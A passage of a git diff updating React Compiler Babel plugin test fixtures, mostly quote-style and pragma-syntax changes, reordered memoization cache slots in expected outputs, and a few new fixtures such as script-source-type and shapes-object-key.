index 6f974e491984..85becd79c0b5 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-9c79feec4b9b.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.expect.md
index 20b1fd657bd3..b02d4618abf1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class C {
@@ -17,7 +17,7 @@ class C {
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class C {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.js
index 6f0bf274ca24..1ffb432d2fe9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-acb56658fe7e.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 class C {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.expect.md
index 10080ab54f99..6df2619e7c9c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
@@ -16,7 +16,7 @@
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.js
index bbf89905a8c5..40f21937a574 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-ddeca9708b63.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.expect.md
index 3b57c7a39892..5f826b97097a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.expect.md
@@ -2,7 +2,7 @@
 ## Input
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
@@ -16,7 +16,7 @@
 ## Code
 
 ```javascript
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.js
index 48d03d62bcc4..adf9e8000235 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/rules-of-hooks/todo.invalid.invalid-rules-of-hooks-e69ffce323c3.js
@@ -1,4 +1,4 @@
-// @skip
+// @expectNothingCompiled @skip
 // Passed but should have failed
 
 (class {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.expect.md
index 8f284eb98d2a..1201a9a73743 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.expect.md
@@ -40,8 +40,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -73,14 +73,14 @@ function foo(props) {
   }
   const header = t0;
   let y;
-  if ($[5] !== x || $[6] !== props.b || $[7] !== props.c) {
+  if ($[5] !== props.b || $[6] !== props.c || $[7] !== x) {
     y = [x];
     x = [];
     y.push(props.b);
     x.push(props.c);
-    $[5] = x;
-    $[6] = props.b;
-    $[7] = props.c;
+    $[5] = props.b;
+    $[6] = props.c;
+    $[7] = x;
     $[8] = y;
     $[9] = x;
   } else {
@@ -103,15 +103,15 @@ function foo(props) {
   }
   const content = t1;
   let t2;
-  if ($[13] !== header || $[14] !== content) {
+  if ($[13] !== content || $[14] !== header) {
     t2 = (
       <>
         {header}
         {content}
       </>
     );
-    $[13] = header;
-    $[14] = content;
+    $[13] = content;
+    $[14] = header;
     $[15] = t2;
   } else {
     t2 = $[15];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.js
index 6f965b4736d3..39fa206a33b7 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare-maybe-frozen.js
@@ -36,6 +36,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.expect.md
index e53b5ce842d9..cf551aa96cef 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.expect.md
@@ -40,8 +40,8 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
 
 ```
@@ -53,30 +53,29 @@ import { c as _c } from "react/compiler-runtime"; // note: comments are for the
 // emitted
 function foo(props) {
   const $ = _c(14);
-  let x;
   let t0;
+  let x;
   if ($[0] !== props.a) {
     x = [];
     x.push(props.a);
-
     t0 = <div>{x}</div>;
     $[0] = props.a;
-    $[1] = x;
-    $[2] = t0;
+    $[1] = t0;
+    $[2] = x;
   } else {
-    x = $[1];
-    t0 = $[2];
+    t0 = $[1];
+    x = $[2];
   }
   const header = t0;
   let y;
-  if ($[3] !== x || $[4] !== props.b || $[5] !== props.c) {
+  if ($[3] !== props.b || $[4] !== props.c || $[5] !== x) {
     y = [x];
     x = [];
     y.push(props.b);
     x.push(props.c);
-    $[3] = x;
-    $[4] = props.b;
-    $[5] = props.c;
+    $[3] = props.b;
+    $[4] = props.c;
+    $[5] = x;
     $[6] = y;
     $[7] = x;
   } else {
@@ -99,15 +98,15 @@ function foo(props) {
   }
   const content = t1;
   let t2;
-  if ($[11] !== header || $[12] !== content) {
+  if ($[11] !== content || $[12] !== header) {
     t2 = (
       <>
         {header}
         {content}
       </>
     );
-    $[11] = header;
-    $[12] = content;
+    $[11] = content;
+    $[12] = header;
     $[13] = t2;
   } else {
     t2 = $[13];
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.js
index 99f4d5b57891..582afef39904 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/same-variable-as-dep-and-redeclare.js
@@ -36,6 +36,6 @@ function foo(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: foo,
-  params: ["TodoAdd"],
-  isComponent: "TodoAdd",
+  params: ['TodoAdd'],
+  isComponent: 'TodoAdd',
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.expect.md
new file mode 100644
index 000000000000..891a0fb0ddea
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.expect.md
@@ -0,0 +1,52 @@
+
+## Input
+
+```javascript
+// @script
+const React = require('react');
+
+function Component(props) {
+  return <div>{props.name}</div>;
+}
+
+// To work with snap evaluator
+exports = {
+  FIXTURE_ENTRYPOINT: {
+    fn: Component,
+    params: [{name: 'React Compiler'}],
+  },
+};
+
+```
+
+## Code
+
+```javascript
+const { c: _c } = require("react/compiler-runtime"); // @script
+const React = require("react");
+
+function Component(props) {
+  const $ = _c(2);
+  let t0;
+  if ($[0] !== props.name) {
+    t0 = <div>{props.name}</div>;
+    $[0] = props.name;
+    $[1] = t0;
+  } else {
+    t0 = $[1];
+  }
+  return t0;
+}
+
+// To work with snap evaluator
+exports = {
+  FIXTURE_ENTRYPOINT: {
+    fn: Component,
+    params: [{ name: "React Compiler" }],
+  },
+};
+
+```
+      
+### Eval output
+(kind: ok) <div>React Compiler</div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.js
new file mode 100644
index 000000000000..604f0d96187b
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/script-source-type.js
@@ -0,0 +1,14 @@
+// @script
+const React = require('react');
+
+function Component(props) {
+  return <div>{props.name}</div>;
+}
+
+// To work with snap evaluator
+exports = {
+  FIXTURE_ENTRYPOINT: {
+    fn: Component,
+    params: [{name: 'React Compiler'}],
+  },
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequence-expression.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequence-expression.expect.md
index 56b46d24bc01..3d06e2421d9b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequence-expression.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequence-expression.expect.md
@@ -36,6 +36,7 @@ function sequence(props) {
   } else {
     x = $[1];
   }
+
   return x;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.expect.md
index 6dcf61062539..4595caec0d75 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(statusName) {
-  const { status, text } = foo(statusName);
-  const { bg, color } = getStyles(status);
+  const {status, text} = foo(statusName);
+  const {bg, color} = getStyles(status);
   return (
     <div className={identity(bg)}>
       <span className={identity(color)}>{[text]}</span>
@@ -23,14 +23,14 @@ function foo(name) {
 
 function getStyles(status) {
   return {
-    bg: "#eee8d5",
-    color: "#657b83",
+    bg: '#eee8d5',
+    color: '#657b83',
   };
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["Mofei"],
+  params: ['Mofei'],
 };
 
 ```
@@ -43,24 +43,23 @@ import { identity } from "shared-runtime";
 
 function Component(statusName) {
   const $ = _c(12);
-  let text;
   let t0;
   let t1;
+  let text;
   if ($[0] !== statusName) {
     const { status, text: t2 } = foo(statusName);
     text = t2;
     const { bg, color } = getStyles(status);
-
     t1 = identity(bg);
     t0 = identity(color);
     $[0] = statusName;
-    $[1] = text;
-    $[2] = t0;
-    $[3] = t1;
+    $[1] = t0;
+    $[2] = t1;
+    $[3] = text;
   } else {
-    text = $[1];
-    t0 = $[2];
-    t1 = $[3];
+    t0 = $[1];
+    t1 = $[2];
+    text = $[3];
   }
   let t2;
   if ($[4] !== text) {
@@ -97,7 +96,7 @@ function foo(name) {
   const t0 = `${name}!`;
   let t1;
   if ($[0] !== t0) {
-    t1 = { status: `<status>`, text: t0 };
+    t1 = { status: "<status>", text: t0 };
     $[0] = t0;
     $[1] = t1;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.js
index 3aa1030f0b68..ff705196f224 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-assignment-to-scope-declarations.js
@@ -1,8 +1,8 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(statusName) {
-  const { status, text } = foo(statusName);
-  const { bg, color } = getStyles(status);
+  const {status, text} = foo(statusName);
+  const {bg, color} = getStyles(status);
   return (
     <div className={identity(bg)}>
       <span className={identity(color)}>{[text]}</span>
@@ -19,12 +19,12 @@ function foo(name) {
 
 function getStyles(status) {
   return {
-    bg: "#eee8d5",
-    color: "#657b83",
+    bg: '#eee8d5',
+    color: '#657b83',
   };
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["Mofei"],
+  params: ['Mofei'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.expect.md
index e99b39b6be7a..0f279891d33b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.expect.md
@@ -2,13 +2,13 @@
 ## Input
 
 ```javascript
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(statusName) {
   // status is local, text is a scope declaration
-  const { status, text } = foo(statusName);
+  const {status, text} = foo(statusName);
   // color is local, font is a scope declaration
-  const { color, font } = getStyles(status);
+  const {color, font} = getStyles(status);
   // bg is a declaration
   const bg = identity(color);
   return (
@@ -26,14 +26,14 @@ function foo(name) {
 
 function getStyles(status) {
   return {
-    font: "comic-sans",
-    color: "#657b83",
+    font: 'comic-sans',
+    color: '#657b83',
   };
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["Sathya"],
+  params: ['Sathya'],
 };
 
 ```
@@ -46,25 +46,23 @@ import { identity } from "shared-runtime";
 
 function Component(statusName) {
   const $ = _c(12);
+  let font;
   let t0;
   let text;
-  let font;
   if ($[0] !== statusName) {
     const { status, text: t1 } = foo(statusName);
     text = t1;
-
     const { color, font: t2 } = getStyles(status);
     font = t2;
-
     t0 = identity(color);
     $[0] = statusName;
-    $[1] = t0;
-    $[2] = text;
-    $[3] = font;
+    $[1] = font;
+    $[2] = t0;
+    $[3] = text;
   } else {
-    t0 = $[1];
-    text = $[2];
-    font = $[3];
+    font = $[1];
+    t0 = $[2];
+    text = $[3];
   }
   const bg = t0;
   let t1;
@@ -102,7 +100,7 @@ function foo(name) {
   const t0 = `${name}!`;
   let t1;
   if ($[0] !== t0) {
-    t1 = { status: `<status>`, text: t0 };
+    t1 = { status: "<status>", text: t0 };
     $[0] = t0;
     $[1] = t1;
   } else {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.js
index 62efc5251d16..80ebefaef99e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequential-destructuring-both-mixed-local-and-scope-declaration.js
@@ -1,10 +1,10 @@
-import { identity } from "shared-runtime";
+import {identity} from 'shared-runtime';
 
 function Component(statusName) {
   // status is local, text is a scope declaration
-  const { status, text } = foo(statusName);
+  const {status, text} = foo(statusName);
   // color is local, font is a scope declaration
-  const { color, font } = getStyles(status);
+  const {color, font} = getStyles(status);
   // bg is a declaration
   const bg = identity(color);
   return (
@@ -22,12 +22,12 @@ function foo(name) {
 
 function getStyles(status) {
   return {
-    font: "comic-sans",
-    color: "#657b83",
+    font: 'comic-sans',
+    color: '#657b83',
   };
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: ["Sathya"],
+  params: ['Sathya'],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.expect.md
index a7512bd9df25..f4915cc3486f 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.expect.md
@@ -14,13 +14,13 @@ function Component() {
 
   let c;
   if (b) {
-    c = "hello";
+    c = 'hello';
   } else {
     c = null;
   }
 
   let d;
-  if (c === "hello") {
+  if (c === 'hello') {
     d = 42.0;
   } else {
     d = 42.001;
@@ -28,9 +28,9 @@ function Component() {
 
   let e;
   if (d === 42.0) {
-    e = "ok";
+    e = 'ok';
   } else {
-    e = "nope";
+    e = 'nope';
   }
 
   // should constant-propagate to "ok"
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.js
index d4c05f0a7811..ab08df201038 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/sequentially-constant-progagatable-if-test-conditions.js
@@ -10,13 +10,13 @@ function Component() {
 
   let c;
   if (b) {
-    c = "hello";
+    c = 'hello';
   } else {
     c = null;
   }
 
   let d;
-  if (c === "hello") {
+  if (c === 'hello') {
     d = 42.0;
   } else {
     d = 42.001;
@@ -24,9 +24,9 @@ function Component() {
 
   let e;
   if (d === 42.0) {
-    e = "ok";
+    e = 'ok';
   } else {
-    e = "nope";
+    e = 'nope';
   }
 
   // should constant-propagate to "ok"
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.expect.md
new file mode 100644
index 000000000000..e491eb6c69d3
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.expect.md
@@ -0,0 +1,49 @@
+
+## Input
+
+```javascript
+import {arrayPush} from 'shared-runtime';
+
+function useFoo({a, b}) {
+  const obj = {a};
+  arrayPush(Object.keys(obj), b);
+  return obj;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: 2, b: 3}],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { arrayPush } from "shared-runtime";
+
+function useFoo(t0) {
+  const $ = _c(2);
+  const { a, b } = t0;
+  let t1;
+  if ($[0] !== a) {
+    t1 = { a };
+    $[0] = a;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  const obj = t1;
+  arrayPush(Object.keys(obj), b);
+  return obj;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{ a: 2, b: 3 }],
+};
+
+```
+      
+### Eval output
+(kind: ok) {"a":2}
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.ts b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.ts
new file mode 100644
index 000000000000..9dbaac79c6b5
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/shapes-object-key.ts
@@ -0,0 +1,11 @@
+import {arrayPush} from 'shared-runtime';
+
+function useFoo({a, b}) {
+  const obj = {a};
+  arrayPush(Object.keys(obj), b);
+  return obj;
+}
+export const FIXTURE_ENTRYPOINT = {
+  fn: useFoo,
+  params: [{a: 2, b: 3}],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.expect.md
index c59df6682f9f..bed1b9e6015c 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.expect.md
@@ -2,12 +2,12 @@
 ## Input
 
 ```javascript
-// @gating @panicThreshold(none) @compilationMode(annotation)
-let someGlobal = "joe";
+// @gating @panicThreshold:"none" @compilationMode:"annotation"
+let someGlobal = 'joe';
 
 function Component() {
-  "use forget";
-  someGlobal = "wat";
+  'use forget';
+  someGlobal = 'wat';
   return null;
 }
 
@@ -21,7 +21,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @gating @panicThreshold(none) @compilationMode(annotation)
+// @gating @panicThreshold:"none" @compilationMode:"annotation"
 let someGlobal = "joe";
 
 function Component() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.js
index 167423170c4c..8d0264cd17ba 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-annotation-mode.js
@@ -1,9 +1,9 @@
-// @gating @panicThreshold(none) @compilationMode(annotation)
-let someGlobal = "joe";
+// @gating @panicThreshold:"none" @compilationMode:"annotation"
+let someGlobal = 'joe';
 
 function Component() {
-  "use forget";
-  someGlobal = "wat";
+  'use forget';
+  someGlobal = 'wat';
   return null;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.expect.md
index c3ab1a997e40..36b91bcf2bbb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-// @gating @panicThreshold(none) @compilationMode(infer)
-let someGlobal = "joe";
+// @gating @panicThreshold:"none" @compilationMode:"infer"
+let someGlobal = 'joe';
 
 function Component() {
-  someGlobal = "wat";
+  someGlobal = 'wat';
   return <div>{someGlobal}</div>;
 }
 
@@ -20,7 +20,7 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-// @gating @panicThreshold(none) @compilationMode(infer)
+// @gating @panicThreshold:"none" @compilationMode:"infer"
 let someGlobal = "joe";
 
 function Component() {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.js
index 02d56095be3e..1de4cb449037 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/should-bailout-without-compilation-infer-mode.js
@@ -1,8 +1,8 @@
-// @gating @panicThreshold(none) @compilationMode(infer)
-let someGlobal = "joe";
+// @gating @panicThreshold:"none" @compilationMode:"infer"
+let someGlobal = 'joe';
 
 function Component() {
-  someGlobal = "wat";
+  someGlobal = 'wat';
   return <div>{someGlobal}</div>;
 }
 
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-function-1.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-function-1.expect.md
index 508d0f66ba23..52ab6a2f5a5e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-function-1.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-function-1.expect.md
@@ -20,21 +20,14 @@ export const FIXTURE_ENTRYPOINT = {
 ## Code
 
 ```javascript
-import { c as _c } from "react/compiler-runtime";
 function component() {
-  const $ = _c(1);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = function (a) {
-      a.foo();
-    };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const x = t0;
+  const x = _temp;
+
   return x;
 }
+function _temp(a) {
+  a.foo();
+}
 
 export const FIXTURE_ENTRYPOINT = {
   fn: component,
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.expect.md
index fc6d9c2b525b..7a265b2943e6 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/simple-scope.expect.md
